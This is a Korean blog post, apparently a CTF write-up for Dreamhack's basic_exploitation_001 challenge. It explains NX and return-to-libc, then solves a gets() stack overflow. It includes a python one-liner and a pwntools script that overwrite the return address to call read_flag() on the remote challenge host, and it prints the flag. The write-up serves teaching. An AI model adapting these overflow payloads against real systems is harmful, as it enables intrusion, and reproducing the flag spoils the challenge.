반응형

basic_exploitation_001.c
0.00MB
basic_exploitation_001
0.01MB

 

 

basic_exploitation_000과 마찬가지로 ubuntu 16.04 버전에 32bit 아키텍처를 사용하고, stack 보호는 안하지만 nx 비트가 설정되어 있다.

 


NX bit

 

NX bit는 No-eXecute Bit의 약어로 일반적으로 스택 메모리는 일시적으로 데이터를 읽고 쓰는데 사용되기 때문에 실행 권한이 필요 없으므로 프로그램의 공격을 어렵게 하기 위해 메모리에 쓰기 권한과 실행 권한을 동시에 부여하지 않는 것이다.

 

NX bit가 설정되었는지 확인하는 방법은 ELF 바이너리 분석 도구인 readelf를 사용하면 알 수 있고, 실행되고 있는 바이너리의 메모리 맵에 있는 권한을 확인하는 것으로도 NX bit 적용 여부를 확인할 수 있다.

 

NX bit가 설정된 경우는 쓰기 권한과 실행 권한이 동시에 있는 메모리 영역이 존재하지 않으므로 셸코드를 스택 메모리에 저장해 실행 흐름을 스택으로 바꾸는 공격을 할 수 없다.

 

즉, 공격자의 코드를 메모리에 저장할 수 없기 때문에 실행 권한이 있는 영역에 존재하는 코드만을 사용해야 한다는 것이다.

 

하지만 NX bit가 설정되어 있더라도 공격은 할 수 있는데, 스택 메모리 등으로 실행 흐름을 직접 바꾸는 공격은 불가능 하지만 메모리의 실행 가능한 영역에 있는 코드들을 활용해서 익스플로잇하면 된다.

 

예를 들어 C언어에서 printf() 같은 라이브러리 함수를 사용할 때 프로그램은 메모리에 로딩된 라이브러리 파일에서 호출된 함수 printf()의 주소를 찾아 실행하므로 프로그램에서 호출된 함수 이외에 system() 같은 익스플로잇에 유용한 코드들도 함께 로딩되어 있을 것이고, 이를 이용하여 return 주소를 스택 메모리에 있는 값이 아닌 라이브러리 함수의 주소로 바꾸면 해당하는 함수를 호출할 수 있게 된다.

 

위의 기법을 RTL(Return to Libc)라고 하고, 이 RTL 기법은 리턴 주소를 라이브러리 내에 존재하는 함수의 주소로 바꿔 NX bit를 우회하는 공격 기법이다.

 


소스 코드 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

 

위에서 사실상 분석해야 할 것은 main() 함수와 read_flag() 함수이다.

 

main() 함수에는 argc와 argv 매개변수가 있고, 0x80 크기의 char형 배열 buf가 있다.

그리고 gets() 함수로 사용자에게 입력을 받아 buf에 넣는다.

그렇다면 메모리 구조는 아래와 같을 것이다.
buf char buf[0x80] 공간
SFP 이전 함수의 EBP 값
RET main() 함수 종료 후 return 할 주소
argc argc 값
argv argv 값들
env 환경 변수들

 

read_flag() 함수는 그저 system() 함수를 이용해 cat /flag 명령어를 실행한다.

 


풀이

 

basic_exploitation_000과 같이 RET 영역의 값을 덮어씌워주면 되는데, basic_exploitation_000에서는 RET 부분에 쉘 코드의 주소를 넣어 exec()를 이용해 /bin/bash가 실행되도록 했지만, basic_exploitation_001은 read_flag() 함수의 주소를 RET 부분에 덮어씌워주면 된다.

 

info functions

 

먼저 ubuntu 16.04 32bit 환경에서 문제에서 제공하는 elf 파일을 gdb로 열어 위의 명령어로 read_flag() 함수의 주소를 보면 0x80485b9이다.

 

python 스크립트를 이용한 exploit

파이썬 스크립트를 이용하여 문제를 풀면 read_flag() 함수의 주소를 직접 리틀 엔디언 방식으로 바꿔줘야 하는 불편함이 있다.

(python -c 'print b"a" * 0x84 + b"\xb9\x85\x04\x08"') | nc host3.dreamhack.games 15511

 

pwntools 모듈을 이용한 exploit

from pwn import *

p = remote('host3.dreamhack.games', 15511)

payload = b"a" * 0x84 + p32(0x080485b9)
p.send(payload)

p.interactive()


DH{01ec06f5e1466e44f86a79444a7cd116}
반응형

'전쟁 > Dreamhack Pwn' 카테고리의 다른 글

[Dreamhack pwn] ssp_001  (0) 2023.01.05
[Dreamhack pwn] Return to Shellcode  (0) 2023.01.05
[Dreamhack pwn] basic_exploitation_000  (3) 2022.12.24
[Dreamhack pwn] Return Address Overwrite  (0) 2022.12.23
[Dreamhack pwn] shell_basic  (0) 2022.12.23

+ Recent posts